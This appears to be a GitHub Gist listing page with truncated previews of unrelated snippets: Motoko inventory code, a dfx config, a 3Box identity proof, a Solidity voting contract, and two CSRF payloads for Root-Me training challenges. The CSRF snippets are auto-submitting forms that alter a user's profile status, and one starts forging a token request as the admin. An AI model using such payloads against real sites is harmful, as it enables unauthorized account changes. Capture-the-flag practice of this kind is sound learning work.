This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import TrieMap "mo:base/TrieMap"; | |
import Iter "mo:base/Iter"; | |
import Nat32 "mo:base/Nat32"; | |
import Debug "mo:base/Debug"; | |
shared ({caller = initPrincipal}) actor class Example () { | |
public type State = { | |
db: TrieMap.TrieMap<Nat32, Card>; | |
}; | |
func empty () : State { | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
... | |
public shared ({ caller }) func borrowItem(itemId: Nat) : async Result.Result<Item, Text> { | |
switch(inventory.get(itemId)) { | |
case null { | |
#err("Item with id " # Nat.toText(itemId) # " doesn't exit."); | |
}; | |
case (?(item)) { | |
if(Option.isNull(item.borrower)) { | |
let itemBorrowed : Item = { | |
id=item.id; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
... | |
public shared ({ caller }) func borrowItem(itemId: Nat) : async Result.Result<Item, Text> { | |
switch(inventory.get(itemId)) { | |
case null { | |
#err("Item with id " # Nat.toText(itemId) # " doesn't exit."); | |
}; | |
case (?(item)) { | |
let itemBorrowed : Item = { | |
id=item.id; | |
name=item.name; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Nat "mo:base/Nat"; | |
import Hash "mo:base/Hash"; | |
import HashMap "mo:base/HashMap"; | |
import Array "mo:base/Array"; | |
import Result "mo:base/Result"; | |
actor Stock { | |
public type CreateItemDto = { | |
name: Text; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
actor Stock { | |
public type CreateItemDto = { | |
name: Text; | |
description: Text; | |
}; | |
public type Item = { | |
id: Nat; | |
name: Text; | |
description: Text; | |
borrower: ?Principal; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"canisters": { | |
"auth": { | |
"main": "src/backend/auth.mo", | |
"type": "motoko" | |
}, | |
"stock": { | |
"main": "src/backend/stock.mo", | |
"type": "motoko" | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST" enctype="multipart/form-data"> | |
<input type="text" name="username" value="test" /> | |
<input type="checkbox" name="status" checked=checked /> | |
<input type="submit" value="Submit request" /> | |
</form> | |
<script>document.csrf.submit()</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action="http://challenge01.root-me.org/web-client/ch23/?action=profile" method="post" name="csrf_form" enctype="multipart/form-data"> | |
<input id="username" type="text" name="username" value="test"> | |
<input id="status" type="checkbox" name="status" checked > | |
<input id="token" type="hidden" name="token" value="" /> | |
<button type="submit">Submit</button> | |
</form> | |
<script> | |
// on force l'admin à générer un token | |
xhttp = new XMLHttpRequest(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This post links my 3Box profile to my Github account! Web3 social profiles by 3Box. | |
✅ did:3:bafyreifch72gmxmctd5hyl6yqxwiry66ybjcggahudxvxhromh53aczngq ✅ | |
Create your profile today to start building social connection and trust online at https://3Box.io/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.4; | |
contract EsensVoteDappHero { | |
struct Scrutin { | |
bytes32 name; | |
address scrutinOwner; | |
bool isVisibleResult; | |
bool isOpenToProposal; | |
bool isStartVoted; | |
uint counter; |
NewerOlder